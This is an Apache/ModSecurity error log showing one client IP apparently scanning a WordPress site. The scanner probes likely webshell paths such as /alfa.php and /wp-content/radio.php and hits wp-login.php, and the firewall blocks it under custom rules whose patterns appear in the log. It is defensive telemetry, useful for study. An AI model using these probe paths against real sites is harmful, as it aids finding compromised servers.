[Sun Dec 28 18:42:50.946075 2025] [:error] [pid 29437:tid 29486] [client 172.192.64.62:6895] [client 172.192.64.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/sx.php"] [unique_id "aVEJqhhDotAbVk6pZLeuowAAAdQ"]
[Sun Dec 28 18:42:51.201673 2025] [:error] [pid 29436:tid 29454] [client 172.192.64.62:7033] [client 172.192.64.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/sx.php"] [unique_id "aVEJq7chzOOtNL9VPNLUPAAAAY8"]
[Sun Dec 28 18:42:51.480749 2025] [:error] [pid 29436:tid 29462] [client 172.192.64.62:6958] [client 172.192.64.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/sx.php"] [unique_id "aVEJq7chzOOtNL9VPNLUPQAAAZc"]
[Sun Dec 28 18:42:51.713501 2025] [:error] [pid 29437:tid 29482] [client 172.192.64.62:7023] [client 172.192.64.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/sx.php"] [unique_id "aVEJqxhDotAbVk6pZLeupgAAAdA"]
[Sun Dec 28 18:42:51.997297 2025] [:error] [pid 29437:tid 29472] [client 172.192.64.62:7066] [client 172.192.64.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-admin/maint/admin.php"] [unique_id "aVEJqxhDotAbVk6pZLeuqQAAAcY"]
[Sun Dec 28 18:42:52.277455 2025] [:error] [pid 42294:tid 42359] [client 172.192.64.62:7028] [client 172.192.64.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-admin/maint/admin.php"] [unique_id "aVEJrNTE5kYcYCOzl9Gt1gAAAIk"]
[Sun Dec 28 18:42:52.562475 2025] [:error] [pid 43789:tid 43794] [client 172.192.64.62:6915] [client 172.192.64.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-admin/maint/admin.php"] [unique_id "aVEJrAa-tUppni4CcCYhIAAAAQM"]
[Sun Dec 28 18:42:52.794208 2025] [:error] [pid 43789:tid 43792] [client 172.192.64.62:7094] [client 172.192.64.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-admin/maint/admin.php"] [unique_id "aVEJrAa-tUppni4CcCYhIgAAAQE"]
[Sun Dec 28 18:42:53.063278 2025] [:error] [pid 29436:tid 29453] [client 172.192.64.62:6980] [client 172.192.64.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/alfa.php"] [unique_id "aVEJrbchzOOtNL9VPNLUPwAAAY4"]
[Sun Dec 28 18:42:53.324042 2025] [:error] [pid 42294:tid 42366] [client 172.192.64.62:6861] [client 172.192.64.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/alfa.php"] [unique_id "aVEJrdTE5kYcYCOzl9Gt1wAAAJA"]
[Sun Dec 28 18:42:53.596441 2025] [:error] [pid 42294:tid 42351] [client 172.192.64.62:7005] [client 172.192.64.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/alfa.php"] [unique_id "aVEJrdTE5kYcYCOzl9Gt2QAAAIE"]
[Sun Dec 28 18:42:53.935385 2025] [:error] [pid 42294:tid 42358] [client 172.192.64.62:7026] [client 172.192.64.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/alfa.php"] [unique_id "aVEJrdTE5kYcYCOzl9Gt3AAAAIg"]
[Sun Dec 28 18:43:03.530098 2025] [:error] [pid 29388:tid 29398] [client 172.192.64.62:7157] [client 172.192.64.62] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 172.192.64.62, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aVEJt9oLv2L2zI_SpdXNMwAAAUI"]
[Sun Dec 28 18:43:06.907181 2025] [:error] [pid 29388:tid 29420] [client 172.192.64.62:7157] [client 172.192.64.62] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 172.192.64.62, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aVEJutoLv2L2zI_SpdXNNQAAAVg"]
[Sun Dec 28 18:43:09.263236 2025] [:error] [pid 42294:tid 42360] [client 172.192.64.62:6850] [client 172.192.64.62] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/ID3/about.php"] [unique_id "aVEJvdTE5kYcYCOzl9Gt8wAAAIo"]
[Sun Dec 28 18:43:12.028507 2025] [:error] [pid 29437:tid 29469] [client 172.192.64.62:6865] [client 172.192.64.62] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/SimplePie/wp-login.php"] [unique_id "aVEJwBhDotAbVk6pZLeutwAAAcM"]
[Sun Dec 28 18:43:16.168523 2025] [autoindex:error] [pid 42294:tid 42358] [client 172.192.64.62:6880] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-admin/maint/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Sun Dec 28 18:43:16.286369 2025] [:error] [pid 42294:tid 42352] [client 172.192.64.62:6880] [client 172.192.64.62] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/customize/about.php"] [unique_id "aVEJxNTE5kYcYCOzl9Gt-wAAAII"]
[Sun Dec 28 18:43:19.517233 2025] [:error] [pid 43789:tid 43809] [client 172.192.64.62:6996] [client 172.192.64.62] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/style-engine/about.php"] [unique_id "aVEJxwa-tUppni4CcCYhOQAAARI"]
[Sun Dec 28 18:43:21.613474 2025] [:error] [pid 29436:tid 29440] [client 172.192.64.62:6956] [client 172.192.64.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/about/function.php"] [unique_id "aVEJybchzOOtNL9VPNLUVQAAAYE"]
[Sun Dec 28 18:43:21.888991 2025] [:error] [pid 42292:tid 42301] [client 172.192.64.62:6896] [client 172.192.64.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/about/function.php"] [unique_id "aVEJyZyOrM_vaFx1osY5WwAAAAU"]
[Sun Dec 28 18:43:22.291963 2025] [:error] [pid 42293:tid 42323] [client 172.192.64.62:6868] [client 172.192.64.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/about/function.php"] [unique_id "aVEJysvc9B-5cwN385LRDAAAAEA"]
[Sun Dec 28 18:43:22.521154 2025] [:error] [pid 42378:tid 42383] [client 172.192.64.62:6862] [client 172.192.64.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/about/function.php"] [unique_id "aVEJyjgtcN-KHAjWrX8ItwAAAMM"]
[Sun Dec 28 18:43:22.783824 2025] [:error] [pid 42292:tid 42309] [client 172.192.64.62:6921] [client 172.192.64.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/admin/function.php"] [unique_id "aVEJypyOrM_vaFx1osY5XgAAAA0"]
[Sun Dec 28 18:43:23.051967 2025] [:error] [pid 42292:tid 42316] [client 172.192.64.62:7101] [client 172.192.64.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/admin/function.php"] [unique_id "aVEJy5yOrM_vaFx1osY5XwAAABQ"]
[Sun Dec 28 18:43:23.302558 2025] [:error] [pid 29436:tid 29441] [client 172.192.64.62:6854] [client 172.192.64.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/admin/function.php"] [unique_id "aVEJy7chzOOtNL9VPNLUVgAAAYI"]
[Sun Dec 28 18:43:23.535452 2025] [:error] [pid 42292:tid 42314] [client 172.192.64.62:6863] [client 172.192.64.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/admin/function.php"] [unique_id "aVEJy5yOrM_vaFx1osY5YQAAABI"]
[Sun Dec 28 18:43:23.817694 2025] [:error] [pid 42378:tid 42401] [client 172.192.64.62:6966] [client 172.192.64.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/.well-known/acme-challenge/index.php"] [unique_id "aVEJyzgtcN-KHAjWrX8IuAAAANU"]
[Sun Dec 28 18:43:24.083520 2025] [:error] [pid 42378:tid 42390] [client 172.192.64.62:7148] [client 172.192.64.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/.well-known/acme-challenge/index.php"] [unique_id "aVEJzDgtcN-KHAjWrX8IuQAAAMo"]
[Sun Dec 28 18:43:24.344640 2025] [:error] [pid 29388:tid 29411] [client 172.192.64.62:6935] [client 172.192.64.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/.well-known/acme-challenge/index.php"] [unique_id "aVEJzNoLv2L2zI_SpdXNPwAAAU8"]
[Sun Dec 28 18:43:24.614431 2025] [:error] [pid 29437:tid 29486] [client 172.192.64.62:6934] [client 172.192.64.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/.well-known/acme-challenge/index.php"] [unique_id "aVEJzBhDotAbVk6pZLeuuwAAAdQ"]
[Sun Dec 28 18:43:24.850089 2025] [:error] [pid 42378:tid 42404] [client 172.192.64.62:6936] [client 172.192.64.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/css/colors/blue/index.php"] [unique_id "aVEJzDgtcN-KHAjWrX8IugAAANg"]
[Sun Dec 28 18:43:25.094886 2025] [:error] [pid 42292:tid 42305] [client 172.192.64.62:6784] [client 172.192.64.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/css/colors/blue/index.php"] [unique_id "aVEJzZyOrM_vaFx1osY5YgAAAAk"]
[Sun Dec 28 18:43:25.398209 2025] [:error] [pid 42378:tid 42389] [client 172.192.64.62:6961] [client 172.192.64.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/css/colors/blue/index.php"] [unique_id "aVEJzTgtcN-KHAjWrX8IuwAAAMk"]
[Sun Dec 28 18:43:25.654358 2025] [:error] [pid 42378:tid 42384] [client 172.192.64.62:7063] [client 172.192.64.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/css/colors/blue/index.php"] [unique_id "aVEJzTgtcN-KHAjWrX8IvAAAAMQ"]
[Sun Dec 28 18:43:25.971391 2025] [:error] [pid 42378:tid 42387] [client 172.192.64.62:7012] [client 172.192.64.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/security.php"] [unique_id "aVEJzTgtcN-KHAjWrX8IvQAAAMc"]
[Sun Dec 28 18:43:26.235444 2025] [:error] [pid 29436:tid 29452] [client 172.192.64.62:6941] [client 172.192.64.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/security.php"] [unique_id "aVEJzrchzOOtNL9VPNLUWgAAAY0"]
[Sun Dec 28 18:43:26.478559 2025] [:error] [pid 42292:tid 42317] [client 172.192.64.62:6838] [client 172.192.64.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/security.php"] [unique_id "aVEJzpyOrM_vaFx1osY5ZQAAABU"]
[Sun Dec 28 18:43:26.708085 2025] [:error] [pid 42292:tid 42296] [client 172.192.64.62:7039] [client 172.192.64.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/security.php"] [unique_id "aVEJzpyOrM_vaFx1osY5ZwAAAAA"]
[Sun Dec 28 18:43:26.989581 2025] [:error] [pid 29436:tid 29461] [client 172.192.64.62:6867] [client 172.192.64.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-admin/user/about.php"] [unique_id "aVEJzrchzOOtNL9VPNLUXQAAAZY"]
[Sun Dec 28 18:43:27.288737 2025] [:error] [pid 29388:tid 29420] [client 172.192.64.62:6955] [client 172.192.64.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-admin/user/about.php"] [unique_id "aVEJz9oLv2L2zI_SpdXNQgAAAVg"]
[Sun Dec 28 18:43:27.581194 2025] [:error] [pid 29388:tid 29401] [client 172.192.64.62:7159] [client 172.192.64.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-admin/user/about.php"] [unique_id "aVEJz9oLv2L2zI_SpdXNRQAAAUU"]
[Sun Dec 28 18:43:27.813230 2025] [:error] [pid 42378:tid 42381] [client 172.192.64.62:6970] [client 172.192.64.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-admin/user/about.php"] [unique_id "aVEJzzgtcN-KHAjWrX8IwQAAAME"]
[Sun Dec 28 18:43:28.073316 2025] [:error] [pid 42378:tid 42397] [client 172.192.64.62:6913] [client 172.192.64.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-admin/js/index.php"] [unique_id "aVEJ0DgtcN-KHAjWrX8IwgAAANE"]
[Sun Dec 28 18:43:28.304636 2025] [:error] [pid 29436:tid 29447] [client 172.192.64.62:7061] [client 172.192.64.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-admin/js/index.php"] [unique_id "aVEJ0LchzOOtNL9VPNLUXwAAAYg"]
[Sun Dec 28 18:43:28.609120 2025] [:error] [pid 42293:tid 42340] [client 172.192.64.62:7015] [client 172.192.64.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-admin/js/index.php"] [unique_id "aVEJ0Mvc9B-5cwN385LREAAAAFE"]
[Sun Dec 28 18:43:28.866334 2025] [:error] [pid 29436:tid 29449] [client 172.192.64.62:6942] [client 172.192.64.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-admin/js/index.php"] [unique_id "aVEJ0LchzOOtNL9VPNLUYQAAAYo"]
[Sun Dec 28 18:43:29.376268 2025] [:error] [pid 43789:tid 43793] [client 172.192.64.62:6952] [client 172.192.64.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-content/upgrade/about.php"] [unique_id "aVEJ0Qa-tUppni4CcCYhPQAAAQI"]
[Sun Dec 28 18:43:29.729969 2025] [:error] [pid 42293:tid 42335] [client 172.192.64.62:7099] [client 172.192.64.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-content/upgrade/about.php"] [unique_id "aVEJ0cvc9B-5cwN385LREgAAAEw"]
[Sun Dec 28 18:43:30.212538 2025] [:error] [pid 42378:tid 42380] [client 172.192.64.62:7126] [client 172.192.64.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-content/upgrade/about.php"] [unique_id "aVEJ0jgtcN-KHAjWrX8IxAAAAMA"]
[Sun Dec 28 18:43:30.558613 2025] [:error] [pid 42292:tid 42316] [client 172.192.64.62:6855] [client 172.192.64.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-content/upgrade/about.php"] [unique_id "aVEJ0pyOrM_vaFx1osY5bgAAABQ"]
[Sun Dec 28 18:43:30.872231 2025] [:error] [pid 42378:tid 42385] [client 172.192.64.62:6947] [client 172.192.64.62] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/assets/index.php"] [unique_id "aVEJ0jgtcN-KHAjWrX8IxQAAAMU"]
[Sun Dec 28 18:43:31.213126 2025] [:error] [pid 42292:tid 42319] [client 172.192.64.62:7011] [client 172.192.64.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-content/radio.php"] [unique_id "aVEJ05yOrM_vaFx1osY5bwAAABc"]
[Sun Dec 28 18:43:31.482407 2025] [:error] [pid 42378:tid 42403] [client 172.192.64.62:6852] [client 172.192.64.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-content/radio.php"] [unique_id "aVEJ0zgtcN-KHAjWrX8IxgAAANc"]
[Sun Dec 28 18:43:31.820479 2025] [:error] [pid 29437:tid 29468] [client 172.192.64.62:6860] [client 172.192.64.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-content/radio.php"] [unique_id "aVEJ0xhDotAbVk6pZLeuvwAAAcI"]
